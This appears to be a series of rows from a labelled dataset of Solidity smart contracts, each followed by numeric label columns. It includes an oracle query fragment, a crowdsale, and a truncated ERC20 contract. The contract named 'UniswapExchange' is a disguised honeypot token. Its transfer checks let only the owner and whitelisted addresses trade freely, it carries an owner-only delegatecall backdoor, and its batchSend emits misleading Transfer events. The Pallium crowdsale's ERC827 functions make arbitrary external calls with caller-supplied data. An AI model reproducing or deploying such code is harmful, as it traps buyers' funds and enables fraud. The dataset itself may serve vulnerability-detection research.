function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit)
payable
external
returns (bytes32 _id)
{
return query1(_timestamp, _datasource, _arg, _gaslimit);
}
function query1_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit)
payable
external
returns (bytes32 _id)
{
return query1(_timestamp, _datasource, _arg, _gaslimit);
}
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit)
payable
external
returns (bytes32 _id)
{
return query2(_timestamp, _datasource, _arg1, _arg2, _gaslimit);
}
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _args, uint _gaslimit)
payable
external
returns (bytes32 _id)
{
return queryN(_timestamp, _datasource, _args, _gaslimit);
}
function query1(uint _timestamp, string _datasource, string _arg, uint _gaslimit)
payable
public
returns (bytes32 _id)
{
costs(_datasource, _gaslimit);
if ((_timestamp > now+3600*24*60)||(_gaslimit > block.gaslimit)) throw;
_id = sha3(this, msg.sender, reqc[msg.sender]);
reqc[msg.sender]++;
Log1(msg.sender, _id, _timestamp, _datasource, _arg, _gaslimit, addr_proofType[msg.sender], addr_gasPrice[msg.sender]);
return _id;
}
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit)
payable
public
returns (bytes32 _id)
{
costs(_datasource, _gaslimit);
if ((_timestamp > now+3600*24*60)||(_gaslimit > block.gaslimit)) throw;
_id = sha3(this, msg.sender, reqc[msg.sender]);
reqc[msg.sender]++;
Log2(msg.sender, _id, _timestamp, _datasource, _arg1, _arg2, _gaslimit, addr_proofType[msg.sender], addr_gasPrice[msg.sender]);
return _id;
}
function queryN(uint _timestamp, string _datasource, bytes _args, uint _gaslimit)
payable
public
returns (bytes32 _id)
{
costs(_datasource, _gaslimit);
if ((_timestamp > now+3600*24*60)||(_gaslimit > block.gaslimit)) throw;
_id = sha3(this, msg.sender, reqc[msg.sender]);
reqc[msg.sender]++;
LogN(msg.sender, _id, _timestamp, _datasource, _args, _gaslimit, addr_proofType[msg.sender], addr_gasPrice[msg.sender]);
return _id;
}
function query1_fnc(uint _timestamp, string _datasource, string _arg, function() external _fnc, uint _gaslimit)
payable
public
returns (bytes32 _id)
{
costs(_datasource, _gaslimit);
if ((_timestamp > now+3600*24*60)||(_gaslimit > block.gaslimit)||address(_fnc) != msg.sender) throw;
_id = sha3(this, msg.sender, reqc[msg.sender]);
reqc[msg.sender]++;
Log1_fnc(msg.sender, _id, _timestamp, _datasource, _arg, _fnc, _gaslimit, addr_proofType[msg.sender], addr_gasPrice[msg.sender]);
return _id;
}
function query2_fnc(uint _timestamp, string _datasource, string _arg1, string _arg2, function() external _fnc, uint _gaslimit)
payable
public
returns (bytes32 _id)
{
costs(_datasource, _gaslimit);
if ((_timestamp > now+3600*24*60)||(_gaslimit > block.gaslimit)||address(_fnc) != msg.sender) throw;
_id = sha3(this, msg.sender, reqc[msg.sender]);
reqc[msg.sender]++;
Log2_fnc(msg.sender, _id, _timestamp, _datasource, _arg1, _arg2, _fnc, _gaslimit, addr_proofType[msg.sender], addr_gasPrice[msg.sender]);
return _id;
}
function queryN_fnc(uint _timestamp, string _datasource, bytes _args, function() external _fnc, uint _gaslimit)
payable
public
returns (bytes32 _id)
{
costs(_datasource, _gaslimit);
if ((_timestamp > now+3600*24*60)||(_gaslimit > block.gaslimit)||address(_fnc) != msg.sender) throw;
_id = sha3(this, msg.sender, reqc[msg.sender]);
reqc[msg.sender]++;
LogN_fnc(msg.sender, _id, _timestamp, _datasource, _args, _fnc, _gaslimit, addr_proofType[msg.sender], addr_gasPrice[msg.sender]);
return _id;
}
} | 0 | 738 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 310 |
pragma solidity ^0.4.18;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract ERC827 is ERC20 {
function approve( address _spender, uint256 _value, bytes _data ) public returns (bool);
function transfer( address _to, uint256 _value, bytes _data ) public returns (bool);
function transferFrom( address _from, address _to, uint256 _value, bytes _data ) public returns (bool);
}
contract ERC827Token is ERC827, StandardToken {
function approve(address _spender, uint256 _value, bytes _data) public returns (bool) {
require(_spender != address(this));
super.approve(_spender, _value);
require(_spender.call(_data));
return true;
}
function transfer(address _to, uint256 _value, bytes _data) public returns (bool) {
require(_to != address(this));
super.transfer(_to, _value);
require(_to.call(_data));
return true;
}
function transferFrom(address _from, address _to, uint256 _value, bytes _data) public returns (bool) {
require(_to != address(this));
super.transferFrom(_from, _to, _value);
require(_to.call(_data));
return true;
}
function increaseApproval(address _spender, uint _addedValue, bytes _data) public returns (bool) {
require(_spender != address(this));
super.increaseApproval(_spender, _addedValue);
require(_spender.call(_data));
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue, bytes _data) public returns (bool) {
require(_spender != address(this));
super.decreaseApproval(_spender, _subtractedValue);
require(_spender.call(_data));
return true;
}
}
contract PalliumToken is MintableToken, PausableToken, ERC827Token, CanReclaimToken {
string public constant name = 'PalliumToken';
string public constant symbol = 'PLMT';
uint8 public constant decimals = 18;
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require (totalSupply_ + _amount <= 250 * 10**6 * 10**18);
return super.mint(_to, _amount);
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
token = token;
}
function _postValidatePurchase(address, uint256) internal {
token = token;
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(address, uint256) internal {
token = token;
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract StagedCrowdsale is Crowdsale {
struct Stage {
uint index;
uint256 hardCap;
uint256 softCap;
uint256 currentMinted;
uint256 bonusMultiplier;
uint256 startTime;
uint256 endTime;
}
mapping (uint => Stage) public stages;
uint256 public currentStage;
enum State { Created, Paused, Running, Finished }
State public currentState = State.Created;
function StagedCrowdsale() public {
currentStage = 0;
}
function setStage(uint _nextStage) internal {
currentStage = _nextStage;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(currentState == State.Running);
require((now >= stages[currentStage].startTime) && (now <= stages[currentStage].endTime));
require(_beneficiary != address(0));
require(_weiAmount >= 200 szabo);
}
function computeTokensWithBonus(uint256 _weiAmount) public view returns(uint256) {
uint256 tokenAmount = super._getTokenAmount(_weiAmount);
uint256 bonusAmount = tokenAmount.mul(stages[currentStage].bonusMultiplier).div(100);
return tokenAmount.add(bonusAmount);
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
uint256 tokenAmount = computeTokensWithBonus(_weiAmount);
uint256 currentHardCap = stages[currentStage].hardCap;
uint256 currentMinted = stages[currentStage].currentMinted;
if (currentMinted.add(tokenAmount) > currentHardCap) {
return currentHardCap.sub(currentMinted);
}
return tokenAmount;
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
require(_tokenAmount > 0);
super._processPurchase(_beneficiary, _tokenAmount);
uint256 surrender = computeTokensWithBonus(msg.value) - _tokenAmount;
if (msg.value > 0 && surrender > 0)
{
uint256 currentRate = computeTokensWithBonus(msg.value) / msg.value;
uint256 surrenderEth = surrender.div(currentRate);
_beneficiary.transfer(surrenderEth);
}
}
function _getTokenRaised(uint256 _weiAmount) internal view returns (uint256) {
return stages[currentStage].currentMinted.add(_getTokenAmount(_weiAmount));
}
function _updatePurchasingState(address, uint256 _weiAmount) internal {
stages[currentStage].currentMinted = stages[currentStage].currentMinted.add(computeTokensWithBonus(_weiAmount));
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
function RefundVault(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
Closed();
wallet.transfer(this.balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
Refunded(investor, depositedValue);
}
}
contract StagedRefundVault is RefundVault {
event ClosedStage();
event Active();
function StagedRefundVault (address _wallet) public
RefundVault(_wallet) {
}
function stageClose() onlyOwner public {
ClosedStage();
wallet.transfer(this.balance);
}
function activate() onlyOwner public {
require(state == State.Refunding);
state = State.Active;
Active();
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract PalliumCrowdsale is StagedCrowdsale, MintedCrowdsale, Pausable {
StagedRefundVault public vault;
function PalliumCrowdsale(uint256 _rate, address _wallet) public
Crowdsale(_rate, _wallet, new PalliumToken())
StagedCrowdsale(){
_processPurchase(_wallet, 25*(10**24));
vault = new StagedRefundVault(_wallet);
stages[0] = Stage(0, 5*(10**24), 33*(10**23), 0, 100, 1522540800, 1525132800);
stages[1] = Stage(1, 375*(10**23), 2475*(10**22), 0, 50, 1533081600, 1535760000);
stages[2] = Stage(2, 75*(10**24), 495*(10**23), 0, 25, 1543622400, 1546300800);
stages[3] = Stage(3, 1075*(10**23), 7095*(10**22), 0, 15, 1554076800, 1556668800);
}
function goalReached() internal view returns (bool) {
return stages[currentStage].currentMinted >= stages[currentStage].softCap;
}
function hardCapReached() internal view returns (bool) {
return stages[currentStage].currentMinted >= stages[currentStage].hardCap;
}
function claimRefund() public {
require(!goalReached());
require(currentState == State.Running);
vault.refund(msg.sender);
}
function toggleVaultStateToAcive() public onlyOwner {
require(now >= stages[currentStage].startTime - 1 days);
vault.activate();
}
function finalizeCurrentStage() public onlyOwner {
require(now > stages[currentStage].endTime || hardCapReached());
require(currentState == State.Running);
if (goalReached()) {
vault.stageClose();
} else {
vault.enableRefunds();
}
if (stages[currentStage].index < 3) {
setStage(currentStage + 1);
} else
{
finalizationCrowdsale();
}
}
function finalizationCrowdsale() internal {
vault.close();
setState(StagedCrowdsale.State.Finished);
PalliumToken(token).finishMinting();
PalliumToken(token).transferOwnership(owner);
}
function migrateCrowdsale(address _newOwner) public onlyOwner {
require(currentState == State.Paused);
PalliumToken(token).transferOwnership(_newOwner);
StagedRefundVault(vault).transferOwnership(_newOwner);
}
function setState(State _nextState) public onlyOwner {
bool canToggleState
= (currentState == State.Created && _nextState == State.Running)
|| (currentState == State.Running && _nextState == State.Paused)
|| (currentState == State.Paused && _nextState == State.Running)
|| (currentState == State.Running && _nextState == State.Finished);
require(canToggleState);
currentState = _nextState;
}
function manualPurchaseTokens (address _beneficiary, uint256 _weiAmount) public onlyOwner {
_preValidatePurchase(_beneficiary, _weiAmount);
uint256 tokens = _getTokenAmount(_weiAmount);
_processPurchase(_beneficiary, tokens);
TokenPurchase(msg.sender, _beneficiary, _weiAmount, tokens);
_updatePurchasingState(_beneficiary, _weiAmount);
}
function _forwardFunds() internal {
vault.deposit.value(this.balance)(msg.sender);
}
} | 1 | 3,521 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
